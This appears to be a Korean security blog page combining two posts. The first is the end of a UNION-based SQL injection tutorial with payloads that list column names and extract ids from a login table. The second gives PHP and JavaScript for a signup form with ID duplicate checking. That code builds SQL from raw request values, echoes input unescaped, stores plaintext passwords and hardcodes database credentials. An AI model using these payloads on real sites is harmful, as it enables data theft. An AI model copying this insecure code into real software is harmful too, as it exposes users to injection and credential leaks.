4) 컬럼 이름 확인

  • 테이블 이름 확인과 같은 방식으로 information_schema를 이용해 컬럼 이름을 추출 할 수 있다.

- 테헤란로%' union select 1,column_name,3,4,5,6 from information_schema.columns where table_name='login' #

- 주소 검색창에 위 구문을 입력하게 되면 다음과 같이 작동한다

- SELECT * FROM ZIPCODE WHERE DORO like ‘%테헤란로%' union select 1,column_name,3,4,5,6 from information_schema.columns where table_name='login' #%’

- 컬럼에 column_name을 입력하여 information_schema.columns라는 테이블로부터 컬럼 이름을 추출하도록 공격한다.

5) 데이터 추출

  • 필요한 정보들을 추출한 뒤 그 정보들로 데이터를 추출 할 수 있다.

- 테헤란로%' union select 1,id,3,4,5,6 from login #

- 주소 검색창에 위 구문을 입력하게 되면 다음과 같이 작동한다.

- SELECT * FROM ZIPCODE WHERE DORO like ‘%테헤란로%' union select 1,id,3,4,5,6 from login #%’

- 컬럼에 추출하고 싶은 데이터의 컬럼이름을 삽입하고 테이블 이름을 맞춰주면 데이터를 추출 할 수 있다.

'Web Hacking' 카테고리의 다른 글

CSRF  (0) 2022.12.27
XSS  (0) 2022.12.16
Blind SQLi  (0) 2022.12.05
Error Based SQLi  (0) 2022.12.05
SQL Injection(로그인 인증 우회)  (0) 2022.10.27

1. signup.php

<!DOCTYPE html>
<?php session_start(); ?>
<html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Join</title>
        <script type="text/javascript" src="./checkid.js"></script>
        <script type="text/javascript" src="./decide.js"></script>
        <script type="text/javascript" src="./change.js"></script>
        <script type="text/javascript" src="./address.js"></script>// 각 함수를 불러오는 코드

    </head>
    <body>
        <h2>SignUp</h2>
        <?php if(!isset($_SESSION['user_id']) || !isset($_SESSION['user_name'])) { ?>
        <form method="post" action="signup_ok.php" autocomplete="off">
            <p>이름: <input type="text" name="signup_name" required></p>
            <p>아이디: <input type="text" name="signup_id" id="uid" required></p>
                <input type="hidden" name="decide_id" id="decide_id">
                 <p><span id="decide" style='color:red;'>ID 중복 여부를 확인해주세요.</span>
                <input type="button" id="check_button" value="ID 중복 검사" onclick="checkid();"></p>
            <p>비밀번호: <input type="password" name="signup_pw" required></p>
                <p>비밀번호 확인: <input type="password" name="signup_pw2" required></p>
                <p><div class=subject>주소</div><br>
        <input class=textform type="text" name="sign_addr" id="addr" onclick="address();" placeholder="주소를 검색해주세요." required></p>
            <p><input type="submit" id="join_button" value="SignUp" disabled=true></p>
        </form>
        <small><a href="login.php">You have account?</a><small>
        <?php } else {
                $user_id = $_SESSION['user_id'];
                $user_name = $_SESSION['user_name'];
                echo "<p>$user_name($user_id)already Login";
                echo "<p><button onclick=\"window.location.href='home.php'\">Go to Main</button> <button onclick=\"window.location.href='logout.php'\">로그아웃</button></p>";
        } ?>
    </body>
</html>

 

2. signup_ok.php

<?php
    if (!isset($_POST['signup_name']) || !isset($_POST['decide_id']) || !isset($_POST['signup_pw'])) {
        header("Content-type: text/html; charset=UTF-8");
        echo "<script>alert('check the content!!')";
        echo "window.location.replace('signup.php');</script>";
        exit;
    }
    $join_name = $_POST['signup_name'];
    $join_id = $_POST['decide_id'];// POST값을 decide_id로 변경한다
    $join_pw = $_POST['signup_pw'];
    $address = $_POST['sign_addr'];
    $conn= mysqli_connect('localhost', 'admin', 'kisec123', 'MEMBER');
    //신규 회원정보 삽입 + ID 재정렬
     $multi = "
        INSERT INTO login (name, id, pw, address) VALUES ('$join_name', '$join_id', '$join_pw', '$address')";
    $res = $conn -> query($multi);
    if($res){
        echo "<script>alert('회원가입이 완료되었습니다.');";
        echo "window.location.replace('login.php');</script>";
        exit;
    }
    else{
       echo "<script>alert('저장에 문제가 생겼습니다. 관리자에게 문의해주세요.');</script>";
    }
    mysqli_close($conn);
?>
<meta http-equiv="refresh" content="0;url=main.php">

3. checkid.js

function checkid(){
        var userid = document.getElementById("uid").value;
        if(userid)  //userid로 받음
        {
                url = "check.php?userid="+userid;
                window.open(url,"checkid","width=400,height=200");
        } else {
                alert("아이디를 입력하세요.");
        }
}

 

4. check.php

1) ID 중복검사를 처리하는 코드

<?php
    $conn= mysqli_connect('localhost', 'admin', 'kisec123', 'MEMBER');
    $uid= $_GET["userid"];  //GET으로 넘긴 userid
    $sql= "SELECT * FROM login where id='$uid'";
    $result = mysqli_fetch_array(mysqli_query($conn, $sql));

    if(!$result){
        echo "<span style='color:blue;'>$uid</span> 는 사용 가능한 아이디입니다.";
       ?><p><input type=button value="이 ID 사용" onclick="opener.parent.decide(); window.close();"></p>

    <?php
    } else {
        echo "<span style='color:red;'>$uid</span> 는 중복된 아이디입니다.";
        ?><p><input type=button value="다른 ID 사용" onclick="opener.parent.change(); window.close()"></p>
    <?php
    }
?>

 

5. decide.js

1) [이 ID 사용]을 클릭했을 때 실행되는 코드

function decide(){
        document.getElementById("decide").innerHTML = "<span style='color:red;'>ID 중복 여부를 확인해주세요.</span>"
        document.getElementById("decide_id").value = document.getElementById("uid").value
        document.getElementById("uid").disabled = true
        document.getElementById("join_button").disabled = false
        document.getElementById("check_button").value = "다른 ID로 변경"
        document.getElementById("check_button").setAttribute("onclick", "change()")
}

 

6. change.js

1) [다른 ID 사용]을 클릭했을 때 실행되는 코드

function change(){
        document.getElementById("decide").innerHTML = "<span style='color:red;'>ID 중복 여부를 확인해주세요.</span>"
        document.getElementById("uid").disabled = false
        document.getElementById("uid").value = ""
        document.getElementById("join_button").disabled = true
        document.getElementById("check_button").value = "ID 중복 검사"
        document.getElementById("check_button").setAttribute("onclick", "checkid()")
}

 

 

'Web Development' 카테고리의 다른 글

로그인 case  (0) 2022.10.24
로그인/로그아웃  (0) 2022.10.20

+ Recent posts